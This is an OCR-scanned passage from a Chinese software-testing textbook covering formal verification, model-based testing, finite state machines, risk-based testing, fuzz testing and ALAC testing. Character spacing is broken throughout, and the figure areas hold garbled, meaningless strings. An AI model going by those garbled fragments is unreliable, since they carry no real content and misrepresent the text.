有 限 ,很 难 找 出 所 有 潜在 的 错误 。 因 此 ,早期 的 形式 验证 主要 研究 如 何 使 用 数学 方法 ,严格 
证 明 一 个 程序 的 正确 性 ( 即 程 序 验证 )。 

软件 测试 无 法 证 明 系 统 不 存在 缺陷 ,也 不 能 证 明 它 符合 一 定 的 属性 。 只 有 形式 化 验证 
过 程 可 以 证 明 一 个 系统 不 存在 某 个 缺陷 或 证 明 一 个 系统 符合 某 个 属性 。 但 是 ,还 是 无 法 证 
明 某 个 系统 没有 缺陷 ,这 是 因为 不 能 形式 化 的 定义 “没有 缺陷 *。 所 以 ,能 做 的 就 是 证 明 一 
个 系统 不 存在 可 以 想得到 的 缺陷 ,以 及 验证 满足 系统 质量 要 求 的 属性 。 

目前 关于 形式 化 验证 方法 的 研究 主要 集中 在 信念 逻辑 、 代 数 方法 ,模型 检测 等 方面 ,例如 : 

。 采 用 有 限 状 态 机 (FSMD) 或 扩展 有 限 状 态 机 (EFSM) 进 行 模型 检验 。 
采用 SPIN(http://spinroot. com) 和 线性 时 态 语言 验证 其 相关 属性 。 
UML 语义 转换 形式 化 验证 。 
标准 RBAC 模型 ,包括 4 个 部 件 模型 : 基本 模型 RBACO(Core RBAC)、 角 色 分 级 模 
型 RBAC1(Hierarchal RBAC) 、 角 色 限 制 模型 RBAC2(Constraint RBAC) 和 统一 模 
型 RBAC3 (Combines RBAC) 。 
扩展 的 RBAC(Role-Based Access Control, 基 于 角色 的 存 取 控 制 ) 模 型 和 基于 粒 计 
算 (Granular Computing) 的 RBAC 模型 (G-RBAC Model). 
符号 模型 检验 (Symbolic Model Checking) ,将 问题 形式 化 成 为 一 种 特定 的 符号 表 
IR ,然后 诉 诸 于 某 种 特定 的 问题 求解 方法 ,如 BDD (Binary Decision Diagram) SAT 
(可 满足 性 问题 的 求解 器 )、ATPG(Automatic Test Pattern Generation, 自动 测试 模 
式 发 生 器 ) .定理 证 明 器 等 。 
。 BAN(CBurrows-Abadi-Needham) 逻 辑 模型 ,用 于 安全 协议 的 验证 。 
下 面 着 重 讨论 基于 模型 的 软件 测试 和 扩展 有 限 状 态 机 方法 等 。 


3.5.3 基于 模型 的 软件 测试 


模型 是 对 系统 的 抽象 ,是 对 被 测 系 统 预 期 行为 动作 的 抽象 描述 ,实际 上 就 是 用 语言 把 一 
个 系统 的 行为 描述 出 来 ,定义 系统 的 各 种 状态 及 其 之 间 的 转换 关系 ,例如 随机 模型 、 贝 叶 斯 
图 解 模型 有 限 状 态 模 型 等 。 在 软件 测试 模型 中 ,常见 的 模型 有 故障 模型 安全 模型 . 死 锁 模 
型 等 。 基 于 模型 的 测试 (Model-Based Testing, MBT) 是 利用 模型 来 生成 相应 的 测试 用 例 ， 
然后 根据 实际 结果 和 原先 预想 的 结果 的 差异 来 测试 系统 ,如 图 3-13 所 示 。 基 于 模型 的 测 
试 ,先是 从 概念 上 形成 模型 ,然后 试图 用 数学 的 方法 来 描述 这 个 模型 ,逐渐 实现 这 个 模型 , 形 


成 仿真 模型 ,完成 所 需 的 测试 。 基 于 模型 的 测试 ,往往 不 是 直接 针对 被 测 系统 (System 
Under Test,SUT) 进 行 ,而 是 根据 算法 、 规 则 ,针对 源 代码 进行 检测 。 
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图 3-13 ”基于 模型 测试 的 示意 图 


1. 特点 

如 果 检 测算 法 是 完全 的 , 则 能 够 从 软件 中 排除 该 类 模型 。 例 如 ,在 内 存 为 1GB、CPU 为 
1. 8GHz 的 PC 上 ,Findbugs 对 J2SE 中 的 rt. jar 分 析 , 该 程序 包 有 13 083 个 类 , 约 40MB 大 
小 ,所 耗 时 间 只 需 45 分 钟 。 基 于 模型 的 软件 测试 技术 具有 测试 效率 高 .对 逻辑 复杂 故障 测 
试 效果 好 等 特点 ,并 且 比 较 容易 实现 自动 化 测试 的 工具 。 采 用 工具 进行 检验 ,能 够 发 现 其 他 
测试 方法 所 不 能 发 现 的 软件 故障 和 安全 隐患。 

基于 模型 的 软件 测试 技术 不 能 替代 已 有 的 其 他 测试 技术 ,而 是 对 其 他 测试 技术 一 个 有 
力 的 补充 。 基 于 模型 的 软件 测试 技术 已 应 用 于 通信 协议 测试 .API 测试 等 ,微软 研究 院 用 C# 
开发 了 相应 的 工具 一 一 Spec Explorer, 如 图 3-14 所 示 , 它 还 能 与 Visual Studio 集成 在 一 起 。 

。 官方 网 站 :, http://msdn. microsoft. com/en-us/devlabs/ee692301. aspx 

。 Spec Explorer 团队 博客 : http://blogs. msdn. com/sechina/ 

2. 缺点 
误 报 问 题 。 误 报 问 题 是 基于 模型 的 软件 测试 技术 的 一 个 共性 问题 。 通 常 基于 模型 
的 软件 测试 技术 都 属于 静态 分 析 技 术 , 由 于 某 些 故 障 的 确定 需要 动态 地 执行 信息 ， 
因此 对 于 基于 静态 分 析 的 工具 来 说 , 误 报 问 题 是 不 可 避免 的 。 故 障 的 最 后 确认 一 般 
需要 人 工 进行 ,因此 如 果 IP 集合 过 大 ,测试 的 代价 就 可 能 无 法 忍受 ,所 以 要 尽量 缩 
减 待 确认 的 IP 集合 。 为 此 ,将 动态 测试 与 静态 测试 有 机 结合 起 来 以 解决 误 报 问题 。 
漏 报 问题 。 漏 报 问题 主要 由 模型 定义 和 模型 检测 算法 引起 。 目 前 对 于 软件 模式 没 
有 一 个 规范 的 、 统 一 的 和 形式 化 的 定义 。 不 同 的 故障 查找 工具 都 给 出 自己 所 能 检测 
的 模型 的 定义 ,但 是 这 些 定义 很 多 都 是 一 些 自然 语言 的 描述 ,有 的 甚至 只 是 给 出 一 
个 简单 的 例子 进行 说 明 ; 同时 ,针对 具体 的 软件 模型 ,不 同 的 检测 工具 一 般 设计 自 
己 的 检测 算法 ,从 检测 的 效率 和 实现 的 复杂 性 上 考虑 ,不 同 的 算法 给 出 不 同 的 假设 
以 降低 计算 复杂 性 ,这 导致 对 于 相同 的 模型 ,用 不 同 的 工具 进行 检测 得 到 的 故障 结 
果 集 合 有 很 大 不 同 。 
模型 机 理 。 由 于 编程 过 程 中 ,程序 员 具 有 和 较 强 的 个 体 性 ,因此 软件 模型 是 多 种 多 样 
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图 3-14 微软 的 测试 建 模 工具 Spec Explorer 主要 界面 


的 。 通 常 软件 中 的 故障 主要 来 源 于 程序 员 ,如 错误 的 理解 .二 义 性 、 琉 忽 和 遗漏 等 造 
成 的 。 

3. 软件 测试 模型 

大 量 的 测试 数据 统计 分 析 可 以 发 现 有 些 软件 模型 是 具有 共性 的 ,比如 说 内 存 泄漏 故障 
模型 .非法 指针 引用 故障 模型 。 其 实 , 导 致 程序 员 犯 错 的 因素 很 多 ,有 程序 员 本 身 的 编程 水 
平 习惯 以 及 所 属 团队 软件 工程 管理 水 平等 ,编程 语言 及 其 相关 类 库 的 有 些 难以 理解 的 特性 
也 是 一 个 比较 重要 的 原因 。 

(1) 故障 模型 。 该 类 模型 主要 是 会 引起 错误 的 常见 软件 模型 ,应 该 尽量 避免 ,如 内 存 泄 
漏 故障 (MLF) ,使 用 空 指针 故障 (NPDF) ,数组 越界 故障 (OOBF) ,非法 计算 类 故障 (ILCF)、 
使 用 未 初始 化 变量 的 故障 (UVF)、 不 完备 的 构造 函数 故障 (ICF) 以 及 操作 符 异 常 故障 
(OAF) 等 。 

(2) 安全 漏洞 模型 。 该 类 模型 为 他 人 攻击 软件 提供 可 能 。 而 一 旦 软件 被 攻击 成 功 , 系 
统 就 可 能 发 生 瘫痪 ,所 造成 的 危害 可 能 更 大 ,因此 ,此 类 漏洞 应 当 尽 量 避 免 , 如 缓冲 区 溢出 漏 
洞 模型 .被 感染 数据 漏洞 模型 .竞争 条 件 漏洞 模型 以 及 风险 操作 随机 数 漏洞 模型 等 。 

(3) 差 性 能 模型 。 该 模型 在 软件 动态 运行 时 效率 比较 低下 ,因此 建议 采用 更 高 效 的 代 
码 来 完成 同样 的 功能 。 这 类 模型 主要 包括 调用 了 不 必要 的 基本 类 型 包装 类 的 构造 方法 、 空 
字符 串 的 比较 ,复制 字符 串 、 未 声明 为 static 的 内 部 类 ,参数 为 常数 的 数学 方法 ,创建 不 必要 
的 对 象 以 及 声明 未 使 用 的 属性 及 方法 等 。 


(4) 并 发 故障 模型 。 该 模型 主要 针对 程序 员 对 多 线程 .Java 虚拟 机 的 工作 机 制 不 了 解 
引起 的 问题 ,以 及 由 于 线程 启动 的 任意 性 和 不 确定 性 使 用 户 无 法 确定 所 编写 的 代码 具体 何 
时 执行 而 导致 对 公共 区 域 的 错误 使 用 ,如 死 锁 等 。 

O 不 良 习 惯 模型 。 该 模型 主要 是 由 于 程序 员 编 写 代 码 的 不 好 习惯 造成 的 一 些 错 误 。 
包括 文件 的 空 输入 、 垃 圾 回收 的 问题 ,以 及 类 ,方法 和 域 的 命名 问题 ,方法 调用 ,对 象 序列 化 ， 
域 初始 化 ,参数 传递 和 代码 安全 性 问题 等 。 

(6) 代码 国际 化 模型 。 该 模型 主要 是 在 语言 进行 国际 化 的 过 程 中 ,可 能 造成 本 地 设置 
和 程序 需求 不 符 的 情况 ,造成 匹配 错误 。 

(7) 易 诱骗 代码 模型 。 该 模型 主要 指 代 码 中 容易 引起 歧义 的 迷惑 人 的 编写 方式 。 比 
如 无 意义 的 比较 ,永远 是 真 值 的 判断 ,条 件 分 支 使 用 相同 的 代码 ,声明 了 却 未 使 用 的 域 等 , 即 
那些 混淆 视听 ,无 法 正常 判断 程序 的 真正 意图 的 代码 。 

4. 检测 步骤 

测试 过 程 从 源 代码 输入 开始 ,经历 预 编译 .词法 分 析 、` 语 法 分 析 与 语义 处 理 、 抽 象 语法 树 
生成 .控制 流 图 生成 和 IP 扫描 等 几 个 步骤 ,最 后 自动 生成 IP 报表。 

(1) 预 处 理 。 由 于 源 程序 中 存在 宏 定义 、 文 件 包含 和 条 件 编译 等 预 处 理 命令 ,因此 在 进 
行 词法 分 析 前 必须 进行 预 编译 ,将 宏 进行 展开 ,这 样 有 利于 变量 的 查找 。 

(2) 词法 分 析 (Lexical Analysis)。 将 预 编译 阶段 产生 的 中 间 代 码 进行 分 解 ,形成 各 种 
符号 表 , 为 语法 分 析 作 准备 。 符 号 表 的 结构 主要 有 标识 符 表 、 类 型 表 、 关 键 字 表 、 常 数 表 、 运 
算 符 表 和 分 界 符 表 。 

(3) 语法 分 析 ( Parsing) 和 语义 处 理 ( Semantic Analysis)。 这 一 步 主要 是 将 输入 字符 
串 识别 为 单词 符号 流 ,并 按照 标准 的 语法 规则 ,对 源 程序 作 进一步 分 析 , 区 分 出 变量 定义 、 赋 
值 语 句 .函数 等 。 语 法 分 析 的 结果 是 生成 语法 树 ,并 提供 对 外 的 接口 。 此 外 ,通过 语法 树 可 
以 生成 程序 的 控制 流 图 和 变量 的 定义 使 用 链 , 为 下 一 步 的 故障 查找 作 准 备 。 

(4) 抽象 语法 树 生成 。 语 法 分 析 和 语义 处 理 之 后 生成 抽象 语法 树 , 源 程序 中 的 所 有 语 
句 都 作为 抽象 语法 树 的 节点 。 抽 象 语法 树 是 后 续 操 作 的 基础 ,含有 后 续 处 理 所 需 的 各 种 信 
息 , 如 语句 类 型 ,变量 名 称 及 类 型 等 。 

G) 控制 流 图 生成 。 在 抽象 语法 树 的 基础 上 生成 控制 流 图 ,描绘 程序 结构 。 生 成 的 控 
制 流 图 必须 反映 源 程序 的 结构 。 

(6) IP 扫描 。IP 扫描 是 测试 过 程 的 关键 步骤 ,首先 定义 测试 模型 ,然后 在 控制 流 图 上 
遍历 对 测试 模型 进行 匹配 ,从 而 生成 IP 报表 。 工 具 所 能 检测 的 故障 的 集合 取决 于 定义 的 测 
试 模型 集合 。 

(7) 人 工 确认 。 由 于 误 报 的 存在 ,因此 需要 对 生成 的 IP 进行 人 工 确认 。 


3.5.4 扩展 有 限 状 态 机 方法 


有 限 状 态 机 是 一 种 用 来 进行 对 象 行为 建 模 的 工具 ,其 作用 主要 是 描述 对 象 在 它 的 生命 
周期 内 所 经 历 的 状态 序列 ,以 及 如 何 响应 来 自 外 界 的 各 种 事件 。 在 面向 对 象 的 软件 系统 中 ， 
一 个 对 象 无 论 多 么 简单 或 者 多 么 复杂 ,都 必然 会 经 历 一 个 从 开始 创建 到 最 终 消 亡 的 完整 过 
程 ,这 通常 被 称 为 对 象 的 生命 周期 。 一 般 说 来 ,对 象 在 其 生命 期 内 是 不 可 能 完全 孤立 的 , 它 
必须 通过 发 送 消息 来 影响 其 他 对 象 ,或 者 通过 接受 消息 来 改变 自身 。 许 多 实用 的 软件 系统 


都 必须 维护 一 两 个 非常 关键 的 对 象 ,它们 通常 具有 非常 复杂 的 状态 转换 关系 ,而 且 需 要 对 来 
自 外 部 的 各 种 异步 事件 进行 响应 。 例 如 ,在 VoIP 电话 系统 中 ,电话 类 (Telephone) 的 实例 
必须 能 够 响应 来 自 对 方 的 随机 呼叫 、 来 自用 户 的 按键 事件 ,以 及 来 自 网 络 的 信 令 等 。 在 处 理 
这 些 消 息 时 ,类 Telephone 所 要 采取 的 行为 完全 依赖 于 它 当前 所 处 的 状态 ,因而 此 时 使 用 状 
态 机 就 将 是 一 个 不 错 的 选择 。 

有 限 状 态 机 (Finite State Machine,FSM) 模 型 包含 5 个 元 素 , 即 输入 符号 .输出 符号 AR 
态 集合 .状态 转移 函数 和 输出 函数 ,而 扩展 有 限 状态 机 (Extended Finite State Machine, 
EFSM) 模 型 是 在 FSM 模型 基础 上 增加 了 动作 和 转移 条 件 , 以 处 理 系 统 的 数据 流 问 题 ,而 
FSM 模型 只 能 处 理 系 统 的 控制 流 问题 。 所 以 ,EFSM 模型 包含 了 6 个 元 素 , 增 加 了 一 个 初 
始 状态 ,并 将 FSM 模型 中 的 “状态 转换 函数 和 输出 函数 ” 变 为 “变量 集合 和 转移 集合 ”, 如 
图 3-15 所 示 。 基 于 FSM/ EFSM 模型 ,自动 化 编程 和 测试 的 研究 和 实践 越 来 越 多 。 


1 
一 [状态 转换 对 象 数组 | 状态 变量 数组 ] 


图 3-15 EFSM 模型 示意 图 


对 于 FSM 模型 应 用 很 多 ,最 典型 的 一 个 例子 就 是 电梯 控制 程序 。 电 梯 可 以 看 作 由 两 
部 分 电梯 门 和 轿 厢 组 成 。 实 际 上 ,电梯 门 由 两 种 基本 状态 一 一 开 和 闭 ,但 如 果 更 细致 地 
分 析 ,就 可 以 增加 两 种 状态 一 一 正在 打开 和 正在 关闭 。 因 为 在 电梯 正在 关闭 的 过 程 中 ,电梯 
还 是 可 以 接受 指令 , 转 为 “正在 打开 ?状态 ,人 们 在 乘 电梯 时 有 这 种 体验 。 所 以 ,电梯 门 的 控 
制 可 以 通过 FSM 来 描述 ,相对 简单 ,如 图 3-16 所 示 。 实 际 的 控制 系统 必须 统一 控制 ,将 电 
梯 门 和 轿 厢 作为 一 个 整体 考虑 ,其 FSM 描述 
如 图 3-17 所 示 。 


基于 EFSM 测试 的 输入 应 该 包含 两 个 部 ry CO ao 
分 : 测试 输入 序列 及 其 包含 的 变量 值 (输入 = 
数据 )。 手 工 选取 这 些 测试 数据 的 工作 十 分 i 
烦琐 ,一 般 需要 采用 自动 选取 的 方法 ,如 聚 类 cw cy 
TI LPM sled DG GEE Fl Be h E Se è F BE 请 求 关闭 
araen wae kaasi 
WENE EA 


为 实用 的 软件 系统 编写 状态 机 并 不 是 一 
件 轻松 的 事情 ,特别 是 当 状 态 机 本 身 比 较 复 图 3-16 电梯 门 控制 的 FSM 示意 图 


电梯 移动 
过 到 指定 枝叶] VO 接近 楼 局/ 恰 查 楼 时 
| 停 住 / 开 
门 打开 
门 打开 /计时 

在 楼 层 

| 超时 /检查 下 一 个 目的 地 
检查 下 一 个 目的 地 


Al 


图 3-17 电梯 控制 系统 的 FSM 示意 图 


杂 的 时 候 尤 其 如 此 ,需要 投入 大 量 的 时 间 与 精力 才能 描述 状态 机 中 的 各 种 状态 ,所 以 不 得 不 
尝试 开发 一 些 工 具 来 自动 生成 有 限 状态 机 的 框架 代码 ,例如 基于 Linux 的 有 限 状 态 机 建 模 
工具 FSME(Finite State Machine Editor) ,如 图 3-18 所 示 。FSME 能 够 让 用 户 通过 图 形 化 
的 方式 来 对 程序 中 所 需要 的 状态 机 进行 建 模 ,并 且 还 能 够 自动 生成 用 C++ 或 者 Python 实现 


的 状态 机 框架 代码 。 
v state Machine Editor - /tmp/fsme/logic.'sm [modified] 
Eile Edit Help 
A~@~Gera2iOh J+ 1 
[State Machine 回 


+ Hippopotamus 


[I ime 


图 3-18 有 限 状 态 机 建 模 工 具 FSME 界面 示意 图 


3.6 基于 风险 的 测试 


测试 被 定义 为 “对 软件 系统 中 潜在 的 各 种 风险 进行 评估 的 活动 ”, 这 就 是 软件 测试 的 风 
险 论 。 软 件 测试 自身 的 风险 性 是 大 家 公认 的 ,测试 的 覆盖 度 不 能 达到 100%。 测 试 的 这 种 
风险 定义 一 方面 源 于 这 层 含义 ,另外 软件 测试 的 标准 有 时 不 清楚 ,“ 软 件 规格 说 明 书 
(Specification/ Spec)” 是 其 中 的 一 个 标准 ,但 也 不 是 唯一 的 ,因为 Spec 中 有 些 内 容 完 全 有 
可 能 是 错误 的 。 所 以 ,常常 强调 软件 测试 人 员 应 该 站 在 客户 的 角度 去 进行 测试 ,除了 发 现 程 
序 中 的 错误 ,还 要 发 现 需求 定义 的 错误 .设计 上 的 缺陷 ,可 以 针对 Spec 去 报 Bug。 但 是 , 测 
试 在 大 多 数 时 间 / 情 况 下 ,是 由 工程 师 完 成 ,而 不 是 客户 自己 来 做 ,所 以 又 怎么 能 保证 工程 师 
和 客户 想 得 一 样 呢 ? 

有 人 把 开发 比 作 打靶 ,目标 明确 ,就 是 按照 Spee 去 实现 系统 的 功能 。 而 把 测试 比 作 捞 
鱼 ,目标 不 明确 ,自己 判断 哪些 地 方 鱼 多 ,就 去 哪些 地 方 捞 ; 如 果 只 捞 大 鱼 (严重 缺陷 ), 网 眼 
就 可 以 大 些 、 撤 网 区 域 相 对 比较 集中 (测试 点 集中 在 主要 功能 上 )。 如 果 想 把 大 大 小 小 的 鱼 
捞 上 来 ,网 眼 就 要 小 、 普 遍 撤 网 ,不 放 过 任何 一 块 区 域 (测试 点 遍及 所 有 功能 )。 

基于 风险 的 测试 是 指 评估 测试 的 优先 级 , 先 做 高 优先 级 的 测试 ,如 果 时 间或 精力 不 够 ， 
低 优先 级 的 测试 可 以 暂时 先 不 做 。 基 于 风险 的 测试 ,也 就 是 根据 事情 的 轻重 缓急 来 决定 测 
试 工作 的 重点 ,而 影响 测试 优先 级 的 因素 主要 是 : 

。 该 功能 出 问题 对 用 户 的 影响 有 多 大 ?对 用 户 的 影响 越 大 ,其 优先 级 越 高 。 

。 出 问题 的 概率 有 多 大 ? 概率 越 大 ,优先 级 越 高 。 这 种 概率 受 功能 模块 的 复杂 性 、 代 

码 质 量 的 影响 。 复 杂 性 越 高 或 代码 质量 越 低 ,问题 发 生 的 概率 就 越 大 。 

还 有 其 他 一 些 影响 因素 ,例如 新 功能 或 修 4 问题 发 生 的 可 能 性 
改 的 功能 对 该 功能 是 否 有 很 高 的 依赖 性 ?” 依 
赖 性 越 高 ,优先 级 越 高 。 影 响 测试 优先 级 的 两 ae oa 
个 关键 因素 ,可 以 通过 图 3-19 来 表示 。 横 轴 ERA 
代表 影响 , 竖 轴 代表 概率 。 根 据 一 个 软件 的 “| MEM gs | i 
特点 来 确定 : 如 果 一 个 功能 出 了 问题 , 它 对 


低 可 能 性 低 低 
整个 产品 的 影响 有 多 大 ? 这 个 功能 出 问题 的 影响 小 影响 中 等 影响 大 
概率 有 多 大 ? 如 果 出 问题 的 概率 很 大 ,出 了 对 产品 使 有 的 影响 
问题 对 整个 产品 的 影响 也 很 大 ,那么 在 测试 图 3.19 风险 评估 方法 示意 图 


时 就 一 定 要 覆盖 到 。 对 于 一 个 用 户 很 少 用 到 
的 功能 ,出 问题 的 概率 很 小 ,就 算出 了 问题 的 影响 也 不 是 很 大 ,如 果 时 间 比 较 紧 ,就 可 以 
考虑 不 测试 。 

软件 产品 的 风险 度 可 以 通过 出 错 的 影响 程度 和 出 现 的 概率 来 计算 ,测试 可 以 根据 不 同 
的 风险 度 来 决定 测试 的 优先 级 和 测试 的 覆盖 率 。 基 于 风险 的 测试 过 程 可 以 归纳 为 以 下 几 个 
步骤 : 

(1) 列 出 软件 的 所 有 功能 和 特性 ; 

(2) 确定 每 个 功能 出 错 的 可 能 性 ; 

(3) 如 果 某 个 功能 出 错 或 欠缺 菜 个 特征 ,需要 评估 对 用 户 使 用 软件 产品 的 影响 程度 ; 


(4) 根据 上 面 两 个 步骤 ,计算 风险 度 ; 
(5) 根据 可 能 出 错 的 迹象 ,来 修改 风险 度 ; 
(6) 决定 测试 的 范围 ,编写 测试 方案 。 


3.7 模糊 测试 方法 


模糊 测试 (Fuzz testing) 方 法 ,简单 地 说 ,就 是 构造 大 量 的 随机 数据 作为 系统 的 输入 ,从 
而 检验 系统 在 各 种 数据 情况 下 是 否 会 出 现 问 题 。 例 如 ,在 键盘 或 鼠标 大 量 随机 输入 的 情况 
下 ,Windows NT 4. 0 有 21% 的 程序 会 崩溃 ,还 有 24% 的 程序 会 挂 起 。 

模糊 测试 方法 在 1989 年 由 美国 威斯康星 州 的 麦迪 逊 大 学 Barton Miller 教授 提出 来 
的 ,这 方面 的 论文 从 1990 年 开始 陆续 发 表 , 可 以 参考 网 站 http://www. cs. wisc. edu/~ 
bart/fuzz/fuzz. html, 但 以 前 应 用 不 多 ,而 当 互联 网 应 用 越 来 越 普遍 时 ,软件 系统 的 安全 性 
成 为 人 们 关注 的 焦点 ,模糊 测试 方法 又 重新 得 到 重视 。 例 如 : 

。 发 送 巨 量 的 随机 数据 ,来 进行 服务 器 的 攻击 测试 ,可 能 会 导致 网 站 拒绝 服务 。 

。 通过 大 量 随 机 测试 ,可 能 会 实现 http 报 文 注入 ,获得 服务 器 的 权限 ,或 导致 服务 器 

的 HTTP 服务 不 可 用 ,可 参考 http://sourceforge. net/projects/taof/。 

模糊 测试 方法 可 以 模拟 黑客 来 对 系统 发 动 攻击 测试 ,在 安全 性 测试 上 发 挥 作用 之 外 ,还 
可 以 用 于 对 服务 器 的 容错 性 测试 。 模 糊 测试 方法 缺乏 严密 的 逻辑 ,不 去 推导 哪个 数据 会 造 
成 系统 破坏 ,而 是 设 定 一 些 基本 框架 ,在 这 框架 内 产生 尽 可 能 多 的 杂乱 数据 进行 测试 ,发 现 
一 些 意 想不到 的 系统 缺陷 。 由 于 要 产生 大 量 数 据 ,模糊 测试 方法 一 般 不 能 通过 手工 测试 ,而 
是 通过 工具 来 自动 执行 。 模 糊 测 试 的 工具 有 SPIKE, Sulley, COMRaider, iDbg, WebFuzz、 
ProtoFuzz, DFUZ( www. genexx. org/dfuz) 等 ,更 多 的 工具 ,请 参考 www. fuzzing. org. 

下 面 以 两 个 示例 进一步 解释 模糊 测试 方法 。 

【示例 一 】 以 微软 的 字 处 理 软 件 Word 为 例 。 如 果 要 测试 Word 的 容错 性 ,是 不 是 需 
要 考虑 创建 各 种 不 同 的 文件 来 验证 ? 例如 ,创建 几 十 万 个 Word 文档 ,而 且 它 们 的 文件 名 、 
大 小 和 内 容 都 不 相同 ,是 随机 的 ,当然 ,这 些 文档 不 能 让 Word 自身 创建 ,而 是 通过 开发 一 个 
工具 ,将 随机 的 二 进 制 数据 源 输送 到 某 个 文件 中 来 生成 测试 文档 。 也 可 以 准备 一 份 Word 
文件 ,用 随机 数据 替换 该 文件 中 的 一 部 分 内 容 , 生 成 新 的 测试 文件 。 也 可 以 将 整个 文件 打 
乱 , 而 不 是 仅 替 换 其 中 的 一 部 分 。 总 之 ,产生 大 量 的 、 包 含 随 机 数据 的 文件 来 对 Word 文件 
分 析 器 进行 测试 ,其 测试 结果 会 出 现 3 种 情况 : 

A) 对 于 大 多 数 测试 文件 ,会 出 现 * 文 件 格式 无 法 识别 ,或 文件 已 破坏 而 无 法 打开 ?等 错 
误 提 示 。 

(2) 少数 文件 将 会 正常 打开 ,在 几 十 万 个 文档 中 可 能 包含 了 某 些 可 识别 控件 和 可 打印 
字符 的 组 合 。 

(3) Word 可 能 会 出 错 ,可 能 有 几 个 文件 包含 了 文件 分 析 程 序 没 有 预见 到 的 数据 。 

第 3 种 情况 正 是 模糊 测试 方法 的 价值 ,发 现 了 Word 中 的 问题 。 

【示例 二 】 网 络 数 据 传输 过 程 中 ,数据 包 可 能 会 丢失 , 源 数 据 包 是 正确 的 ,而 服务 器 收 
到 的 数据 包 可 能 是 不 正确 的 数据 包 , 这 时 服务 器 是 否 能 够 抛弃 非法 数据 包 ,就 成 为 服务 器 稳 
定性 的 重要 能 力 之 一 。 在 网 络 环境 中 ,有 很 多 的 网 络 协议 ,包括 TCP/IP, UDP, HTTP, 


LDAP, FTP,SIP,DHCP,DNS,SMB,SMTP 等 。 每 个 协议 实现 都 包括 一 个 针对 来 源 于 网 
络 的 数据 包 的 分 析 程 序 , 而 每 个 分 析 程 序 都 可 能 需要 一 些 复杂 的 处 理 逻 辑 ,往往 会 存在 许多 
边界 情况 ,从 而 使 之 难以 验证 。 这 时 候 , 不 得 不 借助 模糊 测试 方法 。 

例如 ,需要 测试 一 个 HTTP 客户 端 (浏览 器 ) ,可 以 让 客户 端 发 送 由 纯 随 机 数据 构成 的 
模糊 化 请 求 。 如 果 这 种 方式 效果 不 明显 ,可 以 配置 模糊 测试 参数 或 框架 ,使 用 已 知 有 效 数 
据 、 故 意 错误 数据 和 随机 数据 的 组 合 , 而 不 是 用 大 量 纯 随机 数据 来 测试 该 客户 端 ,以 达到 更 
好 的 测试 效果 。 

在 模糊 化 的 过 程 中 ,测试 数据 会 随 着 对 可 疑 行为 的 进一步 了 解 而 不 断 完善 。 例 如 ， 
HTTP 客户 端 发 出 的 请 求 最 初 包含 了 随机 数据 ,随后 可 能 会 增加 各 种 已 知 的 有 效 数据 或 错 
误 数 据 来 进行 更 深入 的 验证 。 


3.8 ALAC 测试 和 随机 测试 方法 


ALAC 是 act-like-a-customer( 像 客户 那样 做 ) 的 简写 ,ALAC 测试 方法 是 一 种 基于 客户 
使 用 产品 的 知识 开发 出 来 的 测试 方法 , 它 的 出 发 点 是 著名 的 Pareto 80/20 规律 ,用 到 软件 测 
试 中 ,可 以 概括 为 两 条 : 

(1) 一 个 软件 产品 或 系统 中 全 部 功能 的 20% 是 常用 的 功能 ,用 户 的 80% 时 间 都 在 使 用 
这 20% 的 功能 ; 而 软件 产品 或 系统 中 剩 下 的 80% 不 是 常用 的 功能 ,用 户 使 用 得 比较 少 ,只 
有 20% 时 间 在 使 用 剩 下 的 80% 功 能 。 

(2) 测试 发 现 的 所 有 错误 的 80% 很 可 能 集中 在 20% 的 程序 模块 中 ,另外 20% 的 错误 很 
可 能 集中 在 80% 的 程序 模块 中 。 

ALAC 测试 就 是 基于 这 样 一 个 思想 ,如 图 3-20 所 示 ,考虑 复杂 的 软件 产品 肯定 存在 许 
多 错误 ,而 测试 的 时 间 是 有 限 的 ,然后 像 客 户 那 样 做 ,对 常用 的 功能 进行 测试 。ALAC 测试 
方法 适合 一 些 特别 场合 ,如 产品 只 是 一 个 演示 版 .开发 预算 很 低 、 没 有 足够 时 间 进 行 测试 整 
个 开发 计划 日 程 表 很 紧 , 其 最 大 的 益处 是 降低 测试 成 本 、 缩 短 测 试 时 间 ,缺陷 查找 和 改正 将 
针对 那些 客户 最 容易 遇 到 的 错误 。 从 这 个 角度 看 ,ALAC 测试 和 基于 风险 的 测试 方法 


虽然 更 大 范围 也 存在 缺 
陷 ， 但 不 是 测试 的 重点 


0% 最 常用 的 部 分 一 > 


有 针对 性 的 测试 ， 测 试 
的 重点 


图 3-20 ALAC 测试 方法 的 原理 示意 图 


随机 测试 (ad-hoc test) 来 源 于 一 个 概率 统计 的 思想 ,或 者 可 以 看 作 是 一 个 有 趣 想法 的 
延伸 : 如 果 让 一 百 万 只 猴子 在 一 百 万 只 键盘 上 殴 上 一 百 万 年 ,它们 最 终 可 能 会 写成 一 部 东 
士 比 亚 的 巨著 。 因 为 当 一 个 新 软件 发 布 时 ,成 千 上 万 的 用 户 会 使 用 它 ,其 中 许多 客户 会 故意 


AGE WSEAS 

随机 测试 和 上 面 所 说 的 模糊 测试 比较 接近 ,不 同 的 是 ,模糊 测试 强调 大 随机 量 的 数据 ， 
并 由 工具 自动 产生 ,用 于 容错 性 和 安全 性 测试 ,而 随机 测试 强调 人 工 的 自由 测试 ,不 受 测 试 
用 例 的 束缚 , 放 开 思 想 ,灵活 地 进行 各 种 测试 。 从 这 个 意义 上 看 ,随机 测试 又 和 错误 猜测 法 、 
探索 性 测试 是 非常 接近 的 。 

随机 测试 可 以 作为 熟悉 新 开发 产品 的 功能 特性 ,完善 软件 测试 用 例 ,获得 一 举 两 得 的 效 
果 。 随 机 测试 可 以 作为 对 计划 测试 的 补充 ,使 测试 人 员 不 受 已 有 测试 用 例 的 限制 ,无 拘 无 
束 . 思 维 活跃 ,能 发 现 一 些 隐藏 比较 深 的 缺陷 ,有 时 可 以 达到 出 人 意料 的 效果 。 


小 结 


本 章 介绍 了 各 种 测试 方法 ,除了 传统 意义 上 的 白 盒 测试 方法 和 黑 盒 测 试 方法 ,还 介绍 了 
主动 测试 ,被 动 测试 .形式 化 测试 方法 、 基 于 风险 的 测试 方法 、 模 糊 测 试 方法 和 ALAC 测试 
方法 等 。 不 同 的 测试 方法 有 各 自 的 出 发 点 ,其 侧重 点 不 一 样 ,有 其 特定 的 应 用 范围 。 例 如 白 
盒 测 试 主要 用 于 单元 测试 ,而 黑 盒 测试 主要 用 于 功能 测试 ,模糊 测试 方法 应 用 于 容错 性 测试 
